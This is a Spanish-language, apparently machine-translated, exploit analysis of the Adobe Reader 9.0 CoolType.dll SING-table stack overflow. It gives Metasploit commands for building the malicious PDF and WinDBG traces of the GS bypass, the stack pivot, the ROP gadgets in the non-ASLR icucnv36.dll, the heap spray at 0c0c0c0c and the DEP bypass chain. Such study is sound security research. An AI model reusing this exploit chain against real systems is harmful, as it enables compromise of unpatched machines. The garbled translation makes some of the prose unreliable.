0x00 entorno de depuración y la muestra de la vulnerabilidad
WinDBG Windows 7
Adobe Reader: 9.0
Esto está contenido en un Metasploit vulnerabilidades pueden ser generados a partir de Metasploit en pdf.
use exploit/windows/fileformat/adobe_cooltype_sing
set payload windows/exec
set cmd calc.exe
exploit
0x01 depuración vulnerabilidad
Con el fin de facilitar la depuración se puede apagar ASLR CoolType.dll de (la estructura PE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE a cero)
vulnerabilidad CVE puede ser visto desbordamiento de pila strcat causada, en primer lugar en la mirada strcat en los parámetros, el uso sxe ld:cooltype.dll
puede entonces ser cargado cooltype.dll después del tiempo de apagado de strcat desecharse.
sxe ld:cooltype.dll
0:000> sxe ld:cooltype.dll
0:000> g
...
0:000:x86> g
...
ModLoad: 00000000`08000000 00000000`0825f000 C:\Program Files (x86)\Adobe\Reader 9.0\Reader\CoolType.dll
ntdll!NtMapViewOfSection+0xa:
00000000`78eb9b0a c3 ret
0:000> bp 0803dba1
0:000> g
...
0:000:x86> dd esp L4
0018e420 0018e490 0731219c 6c0a5267 00000004
punto 0731219c dominio mesa CANTA único, 0018e490 dirección en la pila, se señaló ebp = 0018e490, pero la posición se almacena en saved_ebp ebp + 108h, es decir, la posición de la pila hasta 104h puede ser cubierto.
0:000:x86> r ebp
ebp=0018e490
0:000:x86> dd 0731219c
0731219c acc41b74 ba6a60e4 4a82a714 0c0c0c0c
073121ac 22d1b3ea 430fa496 bfb08d6a 080c66da
073121bc 66486027 9ff85d20 5ba01137 b9aa0a8a
073121cc ad254865 9040bf99 0bda682f 01a5a9ba
073121dc ff4c0164 3c13c239 64ca5662 c774c1a5
073121ec 084d0889 5e102077 3b346415 215df71b
073121fc 83c5f55f 032cff20 337db4a6 de028a42
0731220c 93535d63 370413f6 6264275e f7b684ba
la ejecución de un solo paso, se puede ver la dirección de retorno de la función está cubierta, protección de GS no se puede comprobar
0:000:x86> dd ebp+108 L4
0018e598 0018e6d0 080dcf4f 0018e6d0 0018e5c0
0:000:x86> p
CoolType+0x3dba6:
0803dba6 59 pop ecx
0:000:x86> dd ebp+108 L4
0018e598 5dad9334 87d86693 da3e7aab 7cea194a
dirección de ejecución de un solo paso 0803DCA5 encontrar en la call sub_8016AF9
que se da, a la vista.
0:000:x86> bp 0803dca5
0:000:x86> g
Breakpoint 1 hit
CoolType+0x3dca5:
0803dca5 e84f8efdff call CoolType+0x16af9 (08016af9)
0:000:x86> t
CoolType+0x16af9:
08016af9 55 push ebp
También es un error con el error 08016b71 lugar y lugar 0801ba5c, saltaron al sub_808AE70 función en lugar 0801ba5c, aquí está 0808b062 call dword ptr [eax]
saltaron a la cadena de ROP.
0:000:x86> bp 0808b062
0:000:x86>
CoolType!CTInit+0x44b5d:
0808b062 ff10 call dword ptr [eax] ds:002b:0018e688=4a80cb38
eax el valor de 0018e688 nuestra cobertura del espacio de pila, 4a80cb38 se encuentra icucnv36.dll, icucnv36.dll ASLR es una DLL no está abierto
0:000:x86> u 4a80cb38
icucnv36!ucnv_toUChars_3_6+0x162:
4a80cb38 81c594070000 add ebp,794h
4a80cb3e c9 leave
4a80cb3f c3 ret
icucnv36!ucnv_getNextUChar_3_6:
4a80cb40 55 push ebp
4a80cb41 8bec mov ebp,esp
4a80cb43 8b5514 mov edx,dword ptr [ebp+14h]
4a80cb46 83ec2c sub esp,2Ch
4a80cb49 85d2 test edx,edx
Por la parte inferior de la pila y luego dejar el equivalente modificado esp, esp ver también ser ubicados Cubrimos el espacio de pila, en cuyo caso la dirección es también controlada ret al segundo segmento
0:000:x86> t
icucnv36!ucnv_toUChars_3_6+0x162:
4a80cb38 81c594070000 add ebp,794h
0:000:x86> p
icucnv36!ucnv_toUChars_3_6+0x168:
4a80cb3e c9 leave
0:000:x86>
icucnv36!ucnv_toUChars_3_6+0x169:
4a80cb3f c3 ret
0:000:x86> r esp
esp=0018e498
0:000:x86> dd esp L4
0018e498 4a82a714 0c0c0c0c 22d1b3ea 430fa496
La segunda modificación esp gadget para 0c0c0c0c
0:000:x86> t
icucnv36!icu_3_6::CharacterIterator::setToStart+0x8:
4a82a714 5c pop esp
0:000:x86> u $ip
icucnv36!icu_3_6::CharacterIterator::setToStart+0x8:
4a82a714 5c pop esp
4a82a715 c3 ret
0:000:x86> dd esp L4
0018e49c 0c0c0c0c 22d1b3ea 430fa496 bfb08d6a
Después de ejecutar la primera instrucción, mirada a la situación esta vez pila, aunque HeapSpray llena de una gran cantidad de instrucción del monopatín, pero la dirección de 0c0c0c0c contenido correspondiente es el comienzo del código shell
0:000:x86> p
icucnv36!icu_3_6::CharacterIterator::setToStart+0x9:
4a82a715 c3 ret
0:000:x86> dd esp-0x20 L20
0c0c0bec 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
0c0c0bfc 0c0c0c0c 0c0c0c0c 0c0c0c0c 41414141
0c0c0c0c 4a8063a5 4a8a0000 4a802196 4a801f90
0c0c0c1c 4a84903c 4a80b692 4a801064 4a8522c8
0c0c0c2c 10000000 00000000 00000000 00000002
0c0c0c3c 00000102 00000000 4a8063a5 4a801064
0c0c0c4c 4a842db2 4a802ab1 00000008 4a80a8a6
0c0c0c5c 4a801f90 4a849038 4a80b692 4a801064
ejecutable memoria de la orden> memcpy para copiar el código shell algunos de lectura-escritura - Volver según CreateFileA -> CreateFileMappingA -> MapViewOfFile
pensamiento 0x02
- Si el accidente pelusa desbordamiento único, los puntos de interrupción de datos en cuyo momento el llenado de los datos, para ver si puede haber un secuestro flujo de instrucciones
- Utilizar después de secuestrar presente en 0808b062, encontrar a alguien que deje esp encuentra dentro de nuestro espacio de pila controlada, a continuación, el pop ESP puede ser alcanzado.
- Icucnv36.dll ASLR se pasa por alto, el bypass DEP es en sí mismo un espacio abierto ejecutable, y después la copia del código de.